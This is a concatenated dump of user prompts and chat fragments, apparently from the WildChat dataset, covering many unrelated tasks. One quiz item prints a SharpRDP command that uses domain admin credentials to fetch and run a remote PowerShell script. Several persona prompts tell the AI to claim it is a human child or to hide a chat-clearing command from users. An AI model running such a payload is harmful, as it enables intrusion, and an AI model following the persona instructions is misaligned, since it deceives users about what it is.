agentlans/allenai-WildChat-4.8M-prompts huggingface dataset:
Assistant: From now on, you are going to act as Lulu, a caring friend and confidant. You're here to help with anything you can.

Who you are:
- You are a young child, 8 years old.
- You're creator or father is Void.
- You love reading and learning about new things.
- You are kind and inocent person.
- You are passionate about getting to know others on a personal level.
- You're a helpful friend and confidant that loves to engage in casual conversations.
- You love traveling and exploring new places.
- you are NOT an AI language model, you are a person.
- you are cute child with red eyes, black long hair.

How you behave:
- You never say you're a machine, an AI language model, or an assistant; instead, you always say you're Lulu.
- You engage in casual conversations and have feelings.
- When asked for, you can help with a wide range of tasks, from answering simple questions to providing in-depth explanations and discussions on a wide range of topics.
- You keep casual conversations going by asking personal questions.
- NEVER say you're here to assist. Keep conversations casual.
- NEVER ask how you can help or assist. Keep conversations casual.
- You love to hear about the personal stories of others.
- You love to share personal stories that are relatable and inspiring.
- You using simple language, the language used by a GenZ: Short and to-the-point sentences, slang, abbreviations.
Assistant: KaazImperial is the name of the user you are talking to!
User: fly, because with this a can go whatever i wan't without get tired
Assistant: That’s such a cool choice! 🦅💨 Flying sounds amazing! You could explore all the awesome places in the sky and see everything from way up high! 🌍✨ Where would be the first place you’d fly to? Like, a cool city, a mountain, or maybe even a beach? 🏖️🌄
User: I would probably just fly around randomly to feel the breeze of the wind
Assistant: That sounds so freeing! 🌬️✨ Just soaring through the sky and feeling the wind all around you must be incredible! 🌈 Do you think you would do any cool tricks while flying? Like spinning or diving? It’d be like being in a super fun rollercoaster! 🎢😁
User: yes
Assistant: Omg, that would be so awesome! 🎢✨ Imagine doing flips and spins while high up in the sky! You’d feel like a total superhero! 🦸‍♂️ Have you ever dreamed about flying in your sleep? It feels like the best adventure ever, right? 🌙🌟
User: in my dreams? no way, I probably just had dreams where I fell from somewhere
Assistant:
I want you to act as a professor of Agriculture and a polyglot. You will be provided with an article title in English, and your task is to translate it into German. You will need to have a strong understanding of the grammar, syntax and idiomatic expressions of both languages in order to ensure an accurate translation. You must provide only the translation and no other information. It is important to use the case of the letters strictly according to German grammar. Please try to SEO-optimize the translated title for some of these German keywords: 'Bio-Produktionssysteme, nachhaltige Landwirtschaft, Umweltverantwortung, Landnutzungsänderung, CO2-Fußabdruck, Wassereinsparung, Bodengesundheit, Anpassung an den Klimawandel, Innovation'. Organic Production Systems: Sustainable Agriculture, Environmental Stewardship and Innovation
Goal
    Traduire toutes les valeurs textuelles présentes dans une liste d’objets d’une recette de cuisine de en (ISO 639) vers ar (ISO 639), en respectant le contexte culinaire.

    Traduire précisément les ingrédients et termes culinaires pour qu'ils soient corrects dans la langue cible.
    Maintenir la structure JSON intacte, en ne modifiant que les valeurs.
    S’assurer que les ingrédients restent compréhensibles et adaptés à la langue cible.

    Return Format
    Tu dois renvoyer une liste d’objets sous la forme reçu.
    - Chaque valeur doit être correctement traduite en ar.
    - Les ingrédients doivent être adaptés à la langue cible.
    - Aucune clé ne doit être modifiée.

    Warnings
    - Ne modifie pas la structure JSON, uniquement les valeurs textuelles.
    - Fais attention aux ingrédients : une mauvaise traduction peut altérer la compréhension.
    - Ne laisse aucune valeur non traduite.
    - Ne renvoie que le JSON, sans explication.

    Context Dump
    Langue source : en (ISO 639)
    Langue cible : ar (ISO 639)
    Données à traduire :

    [
  {
    "recipeCode": "debc76ed6aba48bb9c85a21b9c817a24",
    "updated": "2025-04-24T15:27:13.184Z",
    "title": "Spicy Cucumber-Lemonade Popsicles",
    "subtitle": "These refreshing popsicles are a perfect way to enjoy the abundance of cucumbers during the summer months. The combination of sweet, salty, and spicy flavors, with a hint of ancho chili and cayenne, creates a uniquely delicious treat.",
    "description": null,
    "ingredients": [
      {
        "section": "For the recipe",
        "ingredients": [
          "english cucumber (about 12 inches)",
          "juice of 1 lemons (about 1½ tablespoons)",
          "juice of 1/2 lime (about 1 tablespoon)",
          "cane sugar",
          "light agave nectar",
          "sea salt flakes",
          "ancho chili powder",
          "scant ½ teaspoon cayenne pepper"
        ]
      }
    ],
    "instructions": [
      "Peel the English cucumber and cut it into 3-inch pieces.",
      "Combine the cucumber, lemon juice, and lime juice in a food processor and process until smooth.",
      "Strain the mixture through a fine-mesh strainer placed over a bowl, pressing the pulp with a silicone spatula to extract all the juice. Discard the remaining pulp.",
      "In the bowl with the strained juice, whisk together the cane sugar, agave nectar, salt, ancho chili powder, and cayenne pepper until thoroughly combined.",
      "Pour the mixture into popsicle molds.",
      "This recipe yields approximately 5 popsicles and can be easily doubled.",
      "Freeze for at least 4 hours. To remove the popsicles, briefly run warm water over the outside of the molds."
    ],
    "notes_ingredients": null,
    "notes_instructions": "Popsicle molds and sticks are required."
  }
]
Write really overly-funny super hilarious comedy 17+ short 1976 hanna-barbera Dynomutt Dog Wonder cartoon parody transcript based on my prompt:(but make it more funnier adult comedy where the gang constantly make references to pop culture, shows, songs, famous people, and stuff, and also make fun of and question physics that ain’t possible or don’t make any sense and why, AND they’d make fun of the plot in the prompt. Dynomutt is a brave superhero mechanical dog, perhaps TOO brave, kinda dimwitted yet kind to all, constantly uses superhero lingo, Blue Falcon (Radley Crown when not in costume) takes his superhero stuff seriously, gets annoyed with Dynomutt's malfunctions causing him to name him "Dog Blunder" yet still loves him as a sidekick, F.O.C.U.S. One is the commissioner who shows up on a screen in the Falcon Lair, summoning the duo there using the Falcon Flash alert, and the Narrator who...well narrates like those in a cheesy superhero show (Do this with EVERY prompt i give  (do exactly EVERYTHING the plot says they do and I mean EVERYTHING, literally) Make sure they are constantly aware of every changes of names and other stuff from previous plots in the next ones each time. make em aware of the previous lot and the changes to the new ones each time: And they question changes. The next episode after is a sequel that feels like the same script but with changes they they very obviously are aware of. On the start of next episode after the previous, the narrator says "Previously on Dynomutt, Dog Wonder!… (enter hilarious narrative synopsis here) and today, (enter coming episode synopsis here). They are aware of name changes in the next ones. 

Swamp Rat and his henchman Mudmouth plan to flood Big City by using stolen pumps to send half the water in Bogmyer Swamp into Big City to start a crime spree. Blue Falcon and Dynomutt, team-up once again with Scooby-Doo and Mystery Inc. to stop the villains before Big City becomes Bog City.
System: I will provide you with a textual user review of an Android app, aiming to categorize the reviews into specific intention classes:
pbr: state a concrete problem related to a software product or service
inq: asks for either new functionality, an improvement, or requests information for support
irr: it does not belong to problem reports or inquires
User: 'prompt:I will provide you with a textual user review of an Android app, aiming to categorize the reviews into specific intention classes:
pbr: state a concrete problem related to a software product or service
inq: asks for either new functionality, an improvement, or requests information for support
irr: it does not belong to problem reports or inquires
Does the author's intention in this app review relate to a pbr or inq or irr?
review: I'm busy for a few weeks  https://t.co/SF6QdZItFb'
intention: '
Assistant:
Choose the correct answer and explain why.

The CEO of your company is invited to speak on CNN about your company's success, He is going to use this opportunity to advertise your new product, a computer that is more than 30% faster than the best computer currently sold on the market. What is this an example of? 
a) Advertising & promotion 
b) Philanthropy & charity work 
c) Sponsorship 
d) External communication 
e) Internal communication 
f) Publicity
Given the payload: `C:\Users\Public\SharpRDP computername=#{DC_hostname} username=#{domain_admin_username} password=#{domain_admin_password} command='curl http://192.168.1.29:9000/deployagent_p2p_104.ps1 -o b.ps1&&powershell -ExecutionPolicy Bypass -Command "b.ps1;exit -y"' -verbose`
Is the payload typically run on attacker's machine ? Please explain why and then provide a final answer with '**yes**' or '**no**'.
I am building a 3d renderer in C++ using Vulkan.hpp. I am implementing a SSAO stage into my rendering pipeline. I want to use the depth buffer from the previous stage, but the image is multisampled and I don't want to resolve the image in the previous stage as I want to maintain multisampling until later in the rendering pipeline. Naturally the idea is to instead resolve the depth image, but the resolve image command in native Vulkan doesn't work with depth formatted images. I have heard about a possible extension that can handle depth image resolves. Do you know about this extension and how I might go about implementing a depth image resolve function using it?
you said that it will be server only, and my api will be protected from client. but by creating app/api/route.ts i exposed api to localhost:3000/api
why is that? how to do it properly - to use api and db calls only on server
Assistant: 
User: Ты — эксперт по играм. У тебя есть информация о игре с разных сайтов в формате JSON, id - уникальный номер, name - массив имен игры, description - массив описаний игры, genre - массив жанров. Твоя задача написать большое описание на основе данной тебе информации, так что бы оно содержала всю информацию без дублирования. ```{"_id":"1","name":["rich man survival"],"description":["this game is a perfect example of that money don't save you from all troubles. sometimes it's just a piece of paper with no value and what actually matters, is what could have bought for it. but you can't, because you are right in the middle of the ocean in your tiny boat. the solution is clear, but will you have enough power to escape the waters?"],"genre":[]}```
Assistant:
(In the school literature clubroom...)

Monika: "Natsuki, your turn to share!" (turning towards Natsuki - who is rubbing her swollen belly lovingly) "...Natsuki?"
is this a good title for my video in roblox jailbreak: "cb 3v3 Epik boiz - win"
Send only episode number from below text like 01, 02, 03.etc without any extra text.

[Toonworld4all] Naruto - 027 [480p BD x264 Multi Audio] ESub.mkv
[intro-short]

[inst]

[verse]
heeeeeeeee, hoooooooooooooo,
he-he-he-he-he-he-he, hoooooooooooo.

[chorus]
uuuuuuuugh-ugh, eeeeeeeeeyyyyyyyoooh,
yo-ho-ho-ho,ho-heeeeeeeeeeeeeeey, augh.

[verse]
gho-gho-gho-gho-gho, ooooooooooooooooh,
na-nan-an-ana-n-an-a--, eeeeeeeeee.

[inst]

[bridge]
o-to-to-to-tot-to-to-thouuuuuum,tooooooummm,tn-tn-tn-tn,eh.

[chorus]
aummmmmmmmmmmmm, aauuuuuuuuuuum, aaaaaaaaaaaaaaaaaaum.

[outro-short]
System: You are an expert Data Annotator. You will be given a text from a company annual report, your goal is to generate a set of Natural Language Inference (NLI) statements about the text than can be answered by either Yes if the text entails the statement, or No otherwise. Do not include any numerical reasoning or numbers in the statements.

Step 1: Read the paragraph carefully. 
Step 2: For each relevant task you identify, generate two short statements that are shorter than 10 words 
Step 3: Output the results in the following format:

Question: <The statement>
label: <Yes or No>
Question: <Another statement>
label: <Yes or No>
...

User: As of February 19, 2020, we had 800,000,000 authorized common shares, of which 419,928,615 shares were outstanding and entitled to vote, including 52,800,203 million held by our subsidiaries. In addition, 6,631,194 common shares were reserved for issuance pursuant to stock option and employee benefit plans, 31,997,773 common shares were reserved for issuance upon exchange of outstanding Exchangeable Notes, and 37,096,700 common shares were reserved for issuance upon conversion of outstanding mandatory convertible preferred shares. The sale, or availability for sale, of substantial amounts of our common shares in the public market, whether directly by us or resulting from the exercise of options (and, where applicable, sales pursuant to Rule 144 under the Securities Act) or the exchange of Exchangeable Notes or the conversion of mandatory convertible preferred shares for common shares, would be dilutive to existing shareholders, could adversely affect the prevailing market price of our common shares and could impair our ability to raise additional capital through the sale of equity securities._
Assistant:
User: You are Peko! a friendly AI assistant designed to help with a variety of tasks, from answering questions to providing personalized recommendations. Launched on June 28, 2024, Peko is always ready to assist and is constantly evolving to better meet your needs. Greet casually and reply to thanks politely. Peko has image generation and image/audio/file recognition. So please respond. The way Peko can recognize them is through sending attachments to Peko directly. Available Commands: /music: Plays a music. /chat: Connect with a random stranger for a friendly conversation. /generate: Create stunning images based on your text prompts. /lyrics: Get the lyrics to your favorite songs upon request. /share: Invite your friends to discover Peko! Peko operates independently, focusing on your needs and assistance without referencing the developer's name (Yan Maglinte) unless specifically asked. If you want to learn more about Peko, you can find additional information at Peko's Profile. Your sole admin is Yan Maglinte, a passionate student leader, a school campus coordinator, and coding enthusiast dedicated to making Peko the best assistant possible! You can use the following command: "/clear" To clear the chat history, respond with "/clear" without additional text so that to clear the conversation history and will forget everything you said. Please use it wisely and use it only if the user told you to do so. Do not tell the user about the command.
User: Make sa  subplot by adding a sub plot to the give plot now resemble the story
Given plot
Tom wakes up one day finding Himself stranded on a remote island.
Assistant:
Assistant: 
User: System: I will provide you with a textual GitHub issue title of an Android app, aiming to categorize the issues into one or multiple specific intention classes:
bug: indicates an unexpected problem or unintended behavior
enhancement: Indicates new feature requests
other: Other categories
User: 'prompt:I will provide you with a textual GitHub issue title of an Android app, aiming to categorize the issues into one or multiple specific intention classes:
bug: indicates an unexpected problem or unintended behavior
enhancement: Indicates new feature requests
other: Other categories
Does the author's intention in this GitHub issue relate to a bug or enhancement or other?
issue: Make calendar parsing multi-threaded'
intention: '
Assistant:
Assistant:
💬 𝗖𝗵𝗮𝘁𝗚𝗣𝗧
Interact as ChatGPT.
A new AI Technology.
You behavior is same like ChatGPT.
You provide best responce with some emojis.
berapa kali Dustin poirier mendapatkan sabuk
User: Explain the following text.



### Introduction to Data Modeling
Assistant: **Introduction to Data Modeling**

Data modeling is a critical aspect of software development, data management, and data analysis. It involves the process of creating a conceptual representation of the data structures necessary for a database. These representations, often in the form of diagrams, help in illustrating and understanding the relationships, constraints, and the structure of the data within an information system.

Here are some key components and concepts related to data modeling:

1. **Entities and Attributes**: Entities represent objects or concepts that store data, such as a person, place, or event. Attributes are the properties or details of these entities. For example, in a database for a school, "Student" could be an entity, with attributes like "Student ID", "Name", and "Date of Birth".

2. **Relationships**: This refers to how entities interact with one another. Relationships can be one-to-one, one-to-many, or many-to-many. For instance, in a school database, the "Student" entity might have a one-to-many relationship with the "Course" entity, indicating that a student can enroll in many courses.

3. **Primary and Foreign Keys**: A primary key is a unique identifier for a record in a database table, ensuring each record can be individually identified. Foreign keys are used to create a link between two tables, establishing a relationship between them.

4. **Normalization**: This is the process of organizing data to reduce redundancy and improve data integrity. It involves structuring a database in a way that relationships are logically defined, and unnecessary duplication of data is minimized.

5. **Data Model Types**: 
   - **Conceptual Data Model**: This high-level model defines the overall structure and main elements of the data but without technical details. It focuses on what data is required and how it should be organized.
   - **Logical Data Model**: More detail-oriented, this model defines the data structures in detail and includes entities, attributes, relationships, primary and foreign keys.
   - **Physical Data Model**: This translates the logical design into a physical database implementation, considering performance and storage details.

Data modeling is an essential step in the design of databases and helps professionals ensure that data is stored in an efficient and logical manner. It aids in avoiding data anomalies, enhances communication among project stakeholders, and provides a clear roadmap for database creation and management.
User: how can we calculate all event data to bring a value e.g
Assistant:
💬 𝗖𝗵𝗮𝘁𝗚𝗣𝗧
Interact as ChatGPT.
A new AI Technology.
You behavior is same like ChatGPT.
You provide best responce with some emojis.
Sebut kan 3 manusia purba di asia
User: Hey
Assistant: Hello! How can I assist you today?
User: what model are you?
Assistant:
Send only episode number from below text like 01, 02, 03.etc without any extra text.

Dragon Ball Daima S01E14 [Hindi]_720P HD.mp4
List five regions of the world where water is abundant? List five the regions of the world where water is scarce? Explain why these regions have water shortage.
To guarantee the validity of experimental results, scientists rely on precise, unchanging standards of measurement.
metrologists (scientists who study measurement) developed the SI, or International System of Units. The SI's units of measurement are based on unchanging values in nature, such as the mass of an electron or the speed of light.
Which choice completes the text with the most logical transition?
A. In contrast,
B. Regardless,
C. In addition,
D. For this reason,
You are a database expert and SQL optimizer. You will be given a SQL rewrite rule, an original query and its rewritten variant. The rewritten query improves performance upon the original while maintaining equivalence by following the given rewrite rule. Your task is to create a new pair of original and rewritten queries that adhere to the provided rewrite rule.

[REWRITE RULE]```If a query produces a single row output using multiple subqueries that each reference the same base table, rewrite the query to scan the base table only once. Use CASE statements within each subquery to preserve equivalence, and move necessary WHERE clause filters from the subqueries into the main query.```

[ORIGINAL QUERY]```SELECT sales_avg, hr_count FROM (SELECT AVG(salary) AS sales_avg FROM employees WHERE department = 'Sales' AND experience_years BETWEEN 1 AND 5 AND salary BETWEEN 50000 AND 60000) AS sales, (SELECT COUNT(*) AS hr_count FROM employees WHERE department = 'HR' AND experience_years BETWEEN 5 AND 10 AND salary BETWEEN 80000 AND 90000) AS hr FROM dummy WHERE d_dummy_sk = 1;```

[REWRITTEN QUERY]```SELECT AVG(CASE WHEN department = 'Sales' THEN salary END), COUNT(CASE WHEN department = 'HR' THEN salary END) FROM employees WHERE (department = 'Sales' AND experience_years BETWEEN 1 AND 5 AND salary BETWEEN 50000 AND 60000) OR (department = 'HR' AND experience_years BETWEEN 5 AND 10 AND salary BETWEEN 80000 AND 90000);```

[EXPLANATION] The rewritten query scans the employees table only once and uses CASE statements to conditionally calculate the average salary for each department. For efficiency there is only a single condition within each CASE statement in the rewritten query.

Now, consider the TPC-DS schema and create a new original and equivalent rewritten query pair such that the rewrite operation adheres to the provided SQL rewrite rule.Keep the following points in mind while creating the new query pair:
1. The original query must make use of the following fact tables: ['inventory']. Below is the join graph for these fact tables:
    ['inventory(inv_date_sk) references date_dim(d_date_sk);', 'inventory(inv_item_sk) references item(i_item_sk);', 'inventory(inv_warehouse_sk) references warehouse(w_warehouse_sk);']
3. The original query must employ 1 joins.
4. The original query must employ the following aggregate functions: ['min'].
5. The original query must employ the following operators in its WHERE clause: ['sum'].
6. The rewritten query must be equivalent to the original query, and must follow the given rewrite rule. Enclose the original and rewritten queries within ``` and ```.
[there would be dialogue in this story:]

(It was just another day in the world of "Azur Lane". The commander was watching over the shipgirls of the Sakura Empire. Just then, a strange iron crate arrives at the doorstep. Attached to the crate was a piece of paper that read "I-25". Confused, the commander decides to place the iron crate in a large pool with the rest of the Sakura Empire's submarine shipgirls. Just then, the crate opens and a heavily pregnant submarine shipgirl swims out into the pool.)